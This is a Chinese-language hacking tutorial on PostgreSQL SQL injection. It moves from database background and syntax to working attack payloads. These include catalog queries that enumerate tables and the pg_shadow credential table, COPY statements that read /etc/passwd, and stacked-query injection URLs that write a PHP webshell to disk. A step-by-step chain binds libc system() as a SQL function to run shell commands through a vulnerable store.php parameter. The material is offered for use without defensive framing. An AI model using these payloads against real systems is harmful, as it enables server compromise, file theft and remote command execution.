黑客如何用postgresql注入黑掉網站
PostgreSQL是一個強大開源的關系數據庫系統.它經過了15年多的開發歷程,一個經得起考驗的體系結構,在可靠性、數據完整性和正確性方面贏得了極好的聲譽.它運行在所有主要的操作系統上,包括Linux、UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64)和Windows. 它是完全符合ACID原則,完全支持外鍵、聯合、視圖、觸發器和存儲過程(多種語言)。
它包含了SQL92和SQL99的大部分數據類型,包括INTEGER,NUMERIC,BOOLEAN,CHAR,VARCHAR,DATE,INTERVAL和TIMESTAMP.它也支持存儲二進制巨型對象,包括圖片、聲音和視頻.它有本地編程接口,C/C++、Java、.Net、Perl、Python、Ruby、Tcl、ODBC,其中還有特別的文檔.PostgreSQL以執行標準為傲。
它強有力地實現了ANSI-SQL 92/99標準.它充分支持子查詢(包括FROM子句的子選擇) 、提交讀(read-committed)、序列化事務隔離級別.雖然PostgreSQL有一個完全關系系統編目(catalog)它自己支持每數據庫多重綱要(schema),它的編目也可以通過SQL標準定義的綱要信息(Information Schema)來存取.數據完整性功能包括(復合)主鍵、限制和級聯更新/刪除的外鍵、CHECK約束、UNIQUE約束和非空約束.它也有許多擴展和高級功能.其中有為了方便按順序自動增加列值,LIMIT/OFFSET允許返回部分結果集.PostgreSQL支持符合、惟一、局部和函數索引,可以使用B-tree,R-tree,hash,或者GiST存儲方法中的任一個。
安裝
1.windows下:在官網(http://www.postgresql.org)下載windows下安裝包,目前最新版本是8.3的,這里需要注意下,安裝PostgreSQL時會在系統用戶中添加一個postgres用戶,而且在windows下的Postgresql密碼自帶有類似于安全策略的東西,設置密碼是需要復雜度和長度的限制.安裝好后,需要配置系統環境變量,把../PostgreSQL/bin添加到系統環境變量,這樣的話,可以直接在cmd中執行psql(類似于mysql在windows下的mysql.exe)。
2.*nix下安裝:可以到官網下載相應的安裝包或者在線安裝,安裝過程不會出現設置密碼這個步驟,默認密碼是空,使用psql的時候需要切換postgres用戶登錄就可以了。
基本語法
既然是數據庫當然遵循SQL語言,create、insert、update等被稱為PL/PgSQL,但不是很明確,一個數據庫的語法太多了,只說下對小黑們有用的幾個語法。
1.注釋、結束標記、連接符
a.PostgreSQL既然遵循SQL語言,當然支持--注釋;
b.PostgreSQL支持/*和/**/注釋,這點類似于Mysql;
c.PostgreSQL數據庫使用psql的時候,需要在命令后加上;(分號)或者是\g來表示語句已經結束以執行查詢.
d.PostgreSQL是采用||符號來連接字符串的,注意使用^,小心|被轉義。
2.自動匹配
PostgreSQL不像Mysql能夠自動匹配字段,這點類似于oracle,所以在注入的時候要注意下,而且默認情況下是支持union查詢的;
3.連接PostgreSQL
默認情況下是不給外連的,如果想遠程管理PostgreSQL數據庫的話,需要修改../PostgreSQL/data/pg_bha.conf文件,請參考 PostgreSQL學習手冊.PostgreSQL默認用戶是postgres(類似于mysql的root),默認端口是5432,默認系統庫是postgres。
使用psql -h ip -d dataname -p port -U username,這里注意-U參數是大寫,如果是本機采用默認安裝的話,直接使用psql -U postgres后會提示輸入密碼,正確輸入密碼后會出現postgres=#的字符(類似于mysql中的mysql>),就可以正常使用psql了。
\? 顯示pgsql命令的說明
\h 顯示sql命令的說明
\q 是退出
\l 是現實系統中所有的數據庫
4.pgAdmin III和phpPgAdmin
a.pgAdmin III是PostgreSQL中自帶的界面化數據庫管理程序,可以查詢PostgreSQL數據庫中所有域、函數、序列、數據表結構及相關屬性、觸發器函數、視圖等。
b.phpPgAdmin看名字就知道類似mysql的phpMyAdmin,是使用php開發的網頁版數據庫管理程序,功能非常強大,使用過phpMyAdmin的朋友 都知道phpMyAdmin的強大,phpPgAdmin針對PostgreSQL數據庫一樣強大。
注入PostgreSQL
既然PostgreSQL是RDBMS,所以系統中所有數據庫的結構會保存系統庫中,所以注入的時候就相對比較方便。由于注釋方式和mysql是一樣,如何判斷是什么數據庫?關于這點我也沒有一個標準的答案,我想可以掃描5432端口(如何web和庫沒有分離的情況下),使用version()函數的返回結果來判斷,直接使用查詢語句如select * from pg_class/select * from pg_group的返回結果來判斷數據庫類型.由于PostgreSQL的目錄頁存在information_schema,我手上也沒有PostgreSQL數據庫的注射點,所以我也不知道能不能使用select schema_name from information_schema_schemata來判斷,不好意思,關于使用information_schema只是我的想法,有條件的朋友驗證下。
介紹下PostgreSQL中內置函數、表和視圖在入侵的應用。
current_database() 當前數據庫名字
session_user 會話用戶 |
current_user 目前執行環境中的用戶名 |這三個函數調用時候不需要加()
user 和session_user一樣 |
inet_client_port() 遠程端口
cast(sourcetype AS targettype) 定義類型轉換
current_setting() 以查詢形式獲取setting_name 設置的當前值
convert() 編碼轉換
pg_stat_user_tables 存放系統所有表名的視圖,關鍵字段是relname,使用select relname from pg_stat_user_tables limit offset,1 來達到逐個讀取表名的目的
pg_stat_all_tables 和pg_stat_all_tables視圖功能一樣
pg_shadow 看到shadow大家是否想到/etc/shadow,此表包含數據庫用戶的信息,關鍵字段username、passwd和usesuper(超級用戶的意思),不過此表被做了權限設置
pg_user 這個表結構和pg_shadow一樣,不過此表的全局可讀,passwd字段可能被清空或者加密
pg_group 定義組以及哪些用戶屬于哪個組的信息,關鍵字段groname
information_schema.columns 這個目錄對象中保存了所有的字段,關鍵字段是column_name,使用select column_name from information_columns where table_name=tablename limit offset,1這樣就可以達到讀取每個表名的字段
讀文件
首先需要建立一個表,然后copy文件內容到表中,在讀取表內容,思路是這樣的
create table read (line text);
copy read from '/etc/passwd';alter table read add id serial--
select * from read;
drop read;
思路就是這樣的,具體怎么使用就看大家自己發揮了(encode,^_^)
從PostgreSQL 8.2后加入了pg_file_read(text,text,bool)和pg_file_write(text,text,bool),看名字就應該知道是干什么用的吧,大家自己去挖掘吧!
<?php
if(empty($_GET['action']))
{
?>
<form action="?action=connect" method=POST>
<table>
<tr><td>pghost:</td><td><input type="text" name="pghost" size="30" value="127.0.0.1"></td></tr>
<tr><td>pgport:</td><td><input type="text" name="pgport" size="30" value="5432" ></td></tr>
<tr><td>dbname:</td><td><input type="text" name="pgdbname" size="30" value="postgres"></td></tr>
<tr><td>username:</td><td><input type="text" name="pgusername" size="30" value="postgres"></td></tr>
<tr><td>password:</td><td><input type="text" name="pgpassword" size="30" value=""></td></tr>
<tr><td> </td><td><input type="submit" name="submit" value="connect"> <input type="reset" name="reset" value="reset"></td></tr>
</form>
<p>
<?php
exit;
}
if(!empty($_GET['action']))//連接postgresql
{
if(!empty($_POST['pghost']))
$_SESSION['pghost']=$_POST['pghost'];
if(!empty($_POST['pgport']))
$_SESSION['pgport']=$_POST['pgport'];
if(!empty($_POST['pgdbname']))
$_SESSION['pgdbname']=$_POST['pgdbname'];
if(!empty($_POST['pgusername']))
$_SESSION['pgusername']=$_POST['pgusername'];
if(!empty($_POST['pgpassword']))
$_SESSION['pgpassword']=$_POST['pgpassword'];
$dbconn_string = "host={$_SESSION['pghost']} port={$_SESSION['pgport']} dbname={$_SESSION['pgdbname']} user={$_SESSION['pgusername']} password={$_SESSION['pgpassword']}";
$dbconn=pg_connect($dbconn_string);
if(!$dbconn)
{
die('failed linking to the server,please check <a href="javascript:history.back()">reset</a>' );
}
else
echo '^_^ connected successfully and the status is '.pg_connection_status($dbconn).'<br><br>';
}
如何獲得webshell
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$$$);
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
如何讀文件
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
執行命令有兩種方式,一種是需要自定義的lic函數支持,一種是用pl/python支持的。
當然,這些的postgresql的數據庫版本必須大于8.X。
創建一個system的函數:
CREATE FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT
創建一個輸出表:
CREATE TABLE stdout(id serial, system_out text)
執行shell,輸出到輸出表內:
SELECT system(’uname -a > /tmp/test’)
copy 輸出的內容到表里面;
COPY stdout(system_out) FROM ’/tmp/test’
從輸出表內讀取執行后的回顯,判斷是否執行成功
SELECT system_out FROM stdout
下面是測試例子
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS
’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; SELECT system(’uname -a > /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out
ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
【編輯推薦】